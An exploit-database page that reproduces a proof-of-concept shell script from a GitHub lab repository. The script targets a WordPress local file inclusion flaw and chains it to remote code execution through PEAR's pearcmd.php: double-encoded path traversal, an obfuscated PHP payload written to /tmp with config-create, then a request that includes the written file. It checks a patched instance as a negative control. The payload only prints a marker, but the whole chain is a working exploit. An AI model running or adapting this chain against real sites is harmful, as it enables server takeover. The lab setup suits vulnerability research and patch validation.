Exploit database

GH-93deac1f50d07a925c0ccab418105504

dinosn/cve-2026-87902-wordpress-lfi-lab

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-87902

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

evidence/rce-validate.sh

Shell · 3,186 bytes
#!/usr/bin/env bash
# Prove the conditional RCE (PEAR pearcmd.php chain) against the VULN lab instance.
# Benign: the injected code only prints a unique marker + php_uname() (no shell, no webshell
# left in webroot). Writes one marker .php under /tmp on the target = attacker-caused effect.
set -u
cd /tmp/cve-2026-87902-lab
V=http://127.0.0.1:8091
UA='cve-2026-87902-rce-validate'
MARK='PWNED87902'
OUT=/tmp/wp-cve87902-rce.php
# Payload must contain NO spaces (space == argv separator '+') and NO single quotes
# (PEAR's config serializer mangles ' -> /' and breaks the file). Everything via chr():
#   chr(80,87,78,69,68,56,55,57,48,50) = "PWNED87902"; then newline + php_uname + "uid=" + uid
PAYLOAD='<?=print(chr(80).chr(87).chr(78).chr(69).chr(68).chr(56).chr(55).chr(57).chr(48).chr(50));print(chr(10));print(php_uname());print(chr(10));print(chr(117).chr(105).chr(100).chr(61));print(getmyuid());?>'

seg() { local d="$1"; printf '%%252e%%252e%%252f%.0s' $(seq 1 "$d"); }

try_depth() {
  local d="$1"
  local Q1="/?+config-create+/${PAYLOAD}+${OUT}"
  local PEAR="templates%252f$(seg "$d")usr%252flocal%252flib%252fphp%252fpearcmd"
  local TMPF="templates%252f$(seg "$d")tmp%252fwp-cve87902-rce"
  # stage 1: pearcmd argv (query) writes the marker file; LFI selector (body) includes pearcmd
  curl -s -A "$UA" -X POST "${V}${Q1}" --data "page_id=2&pagename=${PEAR}" >/dev/null
  # stage 2: include the file we just wrote
  curl -s -A "$UA" -X POST "${V}/?page_id=2&pagename=${TMPF}"
}

echo "======================================================================"
echo " CVE-2026-87902 conditional-RCE proof (PEAR pearcmd.php)  $(date -u +%FT%TZ)"
echo "======================================================================"
FOUND=""
for d in 7 6 8 5 9; do
  R=$(try_depth "$d")
  if grep -qF "$MARK" <<<"$R"; then
    echo "[RCE CONFIRMED] depth=$d  -- executed output:"
    grep -aF "$MARK" -A3 <<<"$R" | head -5 | sed 's/^/    /'
    FOUND="$d"; break
  else
    echo "  depth=$d: marker not found (resp ${#R} bytes)"
  fi
done

echo
echo "### Independent side-effect check: marker file written inside the container?"
docker compose exec -T wp-vuln ls -la "$OUT" 2>&1 | sed 's/^/    /'
echo "### First lines of the attacker-written file:"
docker compose exec -T wp-vuln sed -n '1,6p' "$OUT" 2>&1 | sed 's/^/    /'

echo
echo "### Negative control: same chain against PATCHED :8092 (must NOT execute)"
Vp=http://127.0.0.1:8092
Q1="/?+config-create+/${PAYLOAD}+/tmp/wp-cve87902-rce-patched.php"
PEAR="templates%252f$(seg 7)usr%252flocal%252flib%252fphp%252fpearcmd"
TMPF="templates%252f$(seg 7)tmp%252fwp-cve87902-rce-patched"
curl -s -A "$UA" -X POST "${Vp}${Q1}" --data "page_id=2&pagename=${PEAR}" >/dev/null
RP=$(curl -s -A "$UA" -X POST "${Vp}/?page_id=2&pagename=${TMPF}")
grep -qF "$MARK" <<<"$RP" && echo "    UNEXPECTED: marker on patched!" || echo "    OK: no marker on patched (${#RP} bytes)"
docker compose exec -T wp-patched ls -la /tmp/wp-cve87902-rce-patched.php 2>&1 | sed 's/^/    /'
echo "======================================================================"
[ -n "$FOUND" ] && echo "RESULT: RCE proven at depth $FOUND" || echo "RESULT: RCE not achieved"